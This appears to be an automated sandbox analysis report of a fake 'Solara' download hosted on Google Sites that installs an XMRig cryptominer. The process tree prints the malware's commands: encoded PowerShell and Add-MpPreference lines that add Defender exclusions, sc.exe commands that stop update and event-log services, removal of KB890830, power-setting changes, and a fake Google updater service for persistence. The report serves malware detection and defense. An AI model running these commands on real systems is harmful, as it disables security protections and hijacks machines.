Analysis

  • max time kernel
    298s
  • max time network
    298s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    18-12-2024 19:45

General

  • Target

    https://sites.google.com/view/solara-official/download

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://sites.google.com/view/solara-official/download
    1⤵
    • Drops file in Windows directory
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4800
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7fff2a00cc40,0x7fff2a00cc4c,0x7fff2a00cc58
      2⤵
        PID:824
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1972,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=1976 /prefetch:2
        2⤵
          PID:4316
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1916,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=2136 /prefetch:3
          2⤵
            PID:4468
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1768,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=2420 /prefetch:8
            2⤵
              PID:1808
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3120,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3148 /prefetch:1
              2⤵
                PID:1504
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3128,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=3192 /prefetch:1
                2⤵
                  PID:4664
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4608,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=4604 /prefetch:8
                  2⤵
                    PID:4508
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4644,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=4720 /prefetch:1
                    2⤵
                      PID:4768
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4996,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=4900 /prefetch:1
                      2⤵
                        PID:3008
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4676,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=5000 /prefetch:1
                        2⤵
                          PID:2052
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5012,i,5718986411981923345,482994461643055179,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=5508 /prefetch:8
                          2⤵
                            PID:2616
                        • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                          "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                          1⤵
                            PID:2540
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                            1⤵
                              PID:4756
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations=is-enterprise-managed=no --field-trial-handle=4588,i,10939649965828730470,15404745704150389213,262144 --variations-seed-version --mojo-platform-channel-handle=4424 /prefetch:8
                              1⤵
                                PID:236
                              • C:\Windows\System32\rundll32.exe
                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                1⤵
                                  PID:3008
                                • C:\Users\Admin\AppData\Local\Temp\0f779008-9622-424a-a9b6-fc305c3ae619_18-12-2024_UqVE2XPvW38Pgkj.zip.619\Bootstrapper.exe
                                  "C:\Users\Admin\AppData\Local\Temp\0f779008-9622-424a-a9b6-fc305c3ae619_18-12-2024_UqVE2XPvW38Pgkj.zip.619\Bootstrapper.exe"
                                  1⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:1656
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAagBtACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAdABmACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAG8AcgA6ACAAQwBvAHUAbABkACAAbgBvAHQAIABzAHQAYQByAHQAOgAgAC4ATgBFAFQAIABGAHIAYQBtAGUAdwBvAHIAawAgADQALgA4AC4AMQAgAG4AbwB0ACAAaQBuAHMAdABhAGwAbABlAGQALgAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAbQBxAGcAIwA+AA=="
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:1260
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAYgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAcgB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGYAbQBpACMAPgA="
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:3332
                                  • C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
                                    2⤵
                                    • Drops file in Drivers directory
                                    • Executes dropped EXE
                                    • Drops file in System32 directory
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:1548
                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4720
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                      3⤵
                                        PID:1900
                                        • C:\Windows\system32\wusa.exe
                                          wusa /uninstall /kb:890830 /quiet /norestart
                                          4⤵
                                            PID:1092
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop UsoSvc
                                          3⤵
                                          • Launches sc.exe
                                          PID:188
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                          3⤵
                                          • Launches sc.exe
                                          PID:4444
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop wuauserv
                                          3⤵
                                          • Launches sc.exe
                                          PID:3076
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop bits
                                          3⤵
                                          • Launches sc.exe
                                          PID:1008
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop dosvc
                                          3⤵
                                          • Launches sc.exe
                                          PID:3808
                                        • C:\Windows\system32\powercfg.exe
                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                          3⤵
                                          • Power Settings
                                          PID:4468
                                        • C:\Windows\system32\powercfg.exe
                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                          3⤵
                                          • Power Settings
                                          PID:4368
                                        • C:\Windows\system32\powercfg.exe
                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                          3⤵
                                          • Power Settings
                                          PID:1176
                                        • C:\Windows\system32\powercfg.exe
                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                          3⤵
                                          • Power Settings
                                          PID:5056
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
                                          3⤵
                                          • Launches sc.exe
                                          PID:4504
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
                                          3⤵
                                          • Launches sc.exe
                                          PID:1632
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop eventlog
                                          3⤵
                                          • Launches sc.exe
                                          PID:4492
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                                          3⤵
                                          • Launches sc.exe
                                          PID:3356
                                    • C:\Users\Admin\AppData\Local\Temp\68fb5ceb-0c1d-45c2-947c-06f663919fe2_18-12-2024_UqVE2XPvW38Pgkj.zip.fe2\Bootstrapper.exe
                                      "C:\Users\Admin\AppData\Local\Temp\68fb5ceb-0c1d-45c2-947c-06f663919fe2_18-12-2024_UqVE2XPvW38Pgkj.zip.fe2\Bootstrapper.exe"
                                      1⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of SetWindowsHookEx
                                      PID:380
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAagBtACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAdABmACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAG8AcgA6ACAAQwBvAHUAbABkACAAbgBvAHQAIABzAHQAYQByAHQAOgAgAC4ATgBFAFQAIABGAHIAYQBtAGUAdwBvAHIAawAgADQALgA4AC4AMQAgAG4AbwB0ACAAaQBuAHMAdABhAGwAbABlAGQALgAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAbQBxAGcAIwA+AA=="
                                        2⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1004
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAYgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAcgB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGYAbQBpACMAPgA="
                                        2⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:3884
                                      • C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        PID:764
                                    • C:\ProgramData\Google\Chrome\updater.exe
                                      C:\ProgramData\Google\Chrome\updater.exe
                                      1⤵
                                      • Drops file in Drivers directory
                                      • Executes dropped EXE
                                      • Drops file in System32 directory
                                      • Suspicious use of SetThreadContext
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2544
                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                        2⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Drops file in System32 directory
                                        • Modifies data under HKEY_USERS
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:3008
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                        2⤵
                                          PID:2776
                                          • C:\Windows\system32\wusa.exe
                                            wusa /uninstall /kb:890830 /quiet /norestart
                                            3⤵
                                              PID:3684
                                          • C:\Windows\system32\sc.exe
                                            C:\Windows\system32\sc.exe stop UsoSvc
                                            2⤵
                                            • Launches sc.exe
                                            PID:3876
                                          • C:\Windows\system32\sc.exe
                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                            2⤵
                                            • Launches sc.exe
                                            PID:788
                                          • C:\Windows\system32\sc.exe
                                            C:\Windows\system32\sc.exe stop wuauserv
                                            2⤵
                                            • Launches sc.exe
                                            PID:4712
                                          • C:\Windows\system32\sc.exe
                                            C:\Windows\system32\sc.exe stop bits
                                            2⤵
                                            • Launches sc.exe
                                            PID:3980
                                          • C:\Windows\system32\sc.exe
                                            C:\Windows\system32\sc.exe stop dosvc
                                            2⤵
                                            • Launches sc.exe
                                            PID:4492
                                          • C:\Windows\system32\powercfg.exe
                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                            2⤵
                                            • Power Settings
                                            PID:3748
                                          • C:\Windows\system32\powercfg.exe
                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                            2⤵
                                            • Power Settings
                                            PID:2740
                                          • C:\Windows\system32\powercfg.exe
                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                            2⤵
                                            • Power Settings
                                            PID:2140
                                          • C:\Windows\system32\powercfg.exe
                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                            2⤵
                                            • Power Settings
                                            PID:3388
                                          • C:\Windows\system32\conhost.exe
                                            C:\Windows\system32\conhost.exe
                                            2⤵
                                              PID:332
                                            • C:\Windows\explorer.exe
                                              explorer.exe
                                              2⤵
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:724
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations=is-enterprise-managed=no --field-trial-handle=3192,i,10939649965828730470,15404745704150389213,262144 --variations-seed-version --mojo-platform-channel-handle=2640 /prefetch:8
                                            1⤵
                                              PID:2684

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

                                              Filesize

                                              649B

                                              MD5

                                              871d3da3bec8f77777a59cecf08f8460

                                              SHA1

                                              52c5aa9cf453cb1ed27c247e8e846f2159a8ea97

                                              SHA256

                                              c6742d0415badc8350922cc24ea7a6a30a80ee833bccc10772d90bb8f0ab07f7

                                              SHA512

                                              c1a92e3c9a60ac9628cf3c05784a0b4d5285128e4b1ba9c9bb3d53c389daed01335b0f20841e478ef4621d2c6f2d9f40f0ebabee2c0cf274d928c1335b475f59

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

                                              Filesize

                                              576B

                                              MD5

                                              481ca554a4605e6bc7e87e902f52c198

                                              SHA1

                                              edba6aa65a43325db6f522562100a5fa1c0c7bcc

                                              SHA256

                                              14ab633a447e5e3529a6e571d4b2b50e5f47e53dcb235a537c5551dc4a7057bb

                                              SHA512

                                              66c78aa9dade03c6c641a4db28f3ef0a3d298d587aa4cd5f7d836262a2a72f3b5a1c100a753b9a85d7c0688c4a54777f126ddba359c5e8464279f2fb574428b6

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1

                                              Filesize

                                              264KB

                                              MD5

                                              034f05d08048cc458f3a5557526ab4ee

                                              SHA1

                                              10b7ceed58353135c652f4840268dbcfdaf1abcf

                                              SHA256

                                              317c9ca78eb69639ea88dce467a2cda523de2d54be67f73c0514607f7cb5a43f

                                              SHA512

                                              1e76f318b41a9f7c8299e1b845b5ebc6c01c47bbbebab4994b91fd1e74366b0dc5c356bde3cb62b48418adfefd7f5a73f8a0a000eab02a94c3b59e3119fee87b

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                                              Filesize

                                              7KB

                                              MD5

                                              5d7ead2a4e2b3e018c173f40d035119f

                                              SHA1

                                              94cd3ac12358117f96bdc4d3a23c22322e78b1e3

                                              SHA256

                                              4a0e084016292ef2fc5e8ec6f2eabf0e014a952d98378807da8e12bf0513378b

                                              SHA512

                                              1bd02edb92d2b0f6593d96fff7b18bb5f914a2c663838e518a4d92aac6f194ff9cc42de57fbb0b22abdf9f4e36cc5400e563112a9a79d7a53fef54619aa6a263

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                              Filesize

                                              2B

                                              MD5

                                              d751713988987e9331980363e24189ce

                                              SHA1

                                              97d170e1550eee4afc0af065b78cda302a97674c

                                              SHA256

                                              4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                              SHA512

                                              b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                              Filesize

                                              691B

                                              MD5

                                              6ada4db4d4ad4a0fce9024a6bd8959ba

                                              SHA1

                                              be5992ad9f545d0462c7edd711456163915552de

                                              SHA256

                                              2e12400171df4eb635280e1feb01b49417e04e314d353ac6050d7b8e4045e8e9

                                              SHA512

                                              e0650a1f6804a18f0924d9c81decd7a9acc254b61c471915d19f7c3c9cb87594eaaa1a561deb7fb533acb712abde3f7a3b15bf72d6ced36a0151ae249f9860ac

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                              Filesize

                                              524B

                                              MD5

                                              f0492d2306af61ea2a7d4211ef75995d

                                              SHA1

                                              4712e1bacf800bb0d003b382e45334151e549911

                                              SHA256

                                              89562657bbf43efb04e3127f1056faa2c20193955e5688fd23a53578df4c9613

                                              SHA512

                                              25a50bc30c8220b5741fb050052e23fcf8e233825ff7b31bc3aceb22be10801d84e419a76945af6fe3dfd88d92b969f1642948d5ef8ffa01c17e4cc086192b3f

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                              Filesize

                                              9KB

                                              MD5

                                              c3f8631f27c7fea8a04e90433dd2a664

                                              SHA1

                                              f167eff2d0ad13561c5578a97c67167718fc6df6

                                              SHA256

                                              70b696f7220b7e725d27b3d068cfa3e21f9f800b7614acf868149012a87b5b78

                                              SHA512

                                              73f89ffc42de553865282cff7b5afe1c4f12eb7c0a35515d7cce4be54bb9352e4980752f81c77082a686a8528a5ef74e6a28945af386af264f2356f151c669df

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                              Filesize

                                              9KB

                                              MD5

                                              c35ff5ce2ecf6c52786185ee39ad9b48

                                              SHA1

                                              ace213f587b7d5ca7a5334246cc7be0cd8ccbb7d

                                              SHA256

                                              6aaae21ca9278c84efeed9d059ac73f3819f204cfff0caf605e54c6bd50600d8

                                              SHA512

                                              4e9e8926d253c3ec33d88b2fb38a0527aa327fb25aad8a4a400e2420cdc9bd189eef554fc9cbc4860086f7974b98e85a603da8ba9c6d772fdedfdb22f16967cb

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                              Filesize

                                              9KB

                                              MD5

                                              3d0c9dc95d22153cbfe9e582cde573a4

                                              SHA1

                                              4d8b0cd8733983aab028bbb46d7805090c6377ab

                                              SHA256

                                              ffd25f751d5241b0e5d6dada22fa09d571408bb29b02e7c4efdf0230f50468e7

                                              SHA512

                                              2a57cd2ab44d8a63af2cd5fb906f5e2595c1e4c7ce4593afdf880084b30d19f366eb2c29aca9ffbd799e20fe53dac07c09b2b32d2ade3123dae5044321701d3e

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                              Filesize

                                              118KB

                                              MD5

                                              812c09bf6dabe2a2ec348e1b6ecae15f

                                              SHA1

                                              1396bea0d4da5424f3d0b15b10ea564ced2c783e

                                              SHA256

                                              9eb181e1425698bc31d21f3717ae779872bc9426e2db57b262c86cacc374f2e1

                                              SHA512

                                              b3f944575934f27a622ed0dc26f94dda62a61ec73f2e5be0d796478f3c79ea59742a7efc6dc5b40d29217e3b15f34a62c900004519bfd7828990282b751cf3c3

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                              Filesize

                                              118KB

                                              MD5

                                              257e56180ff5129c24e1de821b5ab41e

                                              SHA1

                                              1f41bedf94a0b11a26203afc6a885a864c26e90b

                                              SHA256

                                              ef7213a92fa93090bb118ff10828fe0c27902ca25b156c06140ecf935fd4409e

                                              SHA512

                                              ba2f57eac058437690471424fc2c060a33b582bdb4a8ec22c79377b640cab4461dfa2f4d049f570d6b96c8fe9e633d4d7d170772e111b1b8b6e3db4d2bb1a0c6

                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                              Filesize

                                              118KB

                                              MD5

                                              9d0d5f8ebe8997fe2fe4af1c718d4500

                                              SHA1

                                              1181122f6b7a572de0675ed7252d4f9eaa10c4e0

                                              SHA256

                                              a830e3c871583543ac1c25ab7eb87b7772983979c25770d5e7777b047462a1ca

                                              SHA512

                                              ea24ea407982a674c58dbb8b7f6a061a37efb9aa38190995ad54bb3b935eeaf2f220ad4cb5f3baccf915b1c4c2e6cef7f5f8ba45f3b720bb8e9a0892d878bb0d

                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                              Filesize

                                              2KB

                                              MD5

                                              f9349064c7c8f8467cc12d78a462e5f9

                                              SHA1

                                              5e1d27fc64751cd8c0e9448ee47741da588b3484

                                              SHA256

                                              883481fe331cb89fb6061e76b43acd4dd638c16f499b10088b261036c6d0547b

                                              SHA512

                                              3229668491b5e4068e743b31f2896b30b1842faf96aff09fad01b08771c2f11eb8d8f02a3b76e31f0d6ad650c2894c5ac1822204e132c03d9c2b8df6ca4cd7cf

                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                              Filesize

                                              17KB

                                              MD5

                                              e2c3df03e91c2f083bafba519420c022

                                              SHA1

                                              4103437a5d7123edb34cf2c83e592462402a72b6

                                              SHA256

                                              62f8a859e8cef9468efb536a27f1fba8979559b4eaaced3d9fc96608596393cf

                                              SHA512

                                              1bdd60ad646694b3def30f4e4489ccf8f7e87fb1ce93a305f7721dfe84481e5337a161d66b13098af05ea807a62b4cb76719c93b59e40e60d2f691597f8f332d

                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                              Filesize

                                              1KB

                                              MD5

                                              c471abe6adf69d1191e351b24249603c

                                              SHA1

                                              046bc8a8413ece1f134a119cb68ac18879cd7987

                                              SHA256

                                              a27c0390bbdbc36371049b5fda3dc0ab8ab3f0165843bf4becde111999030454

                                              SHA512

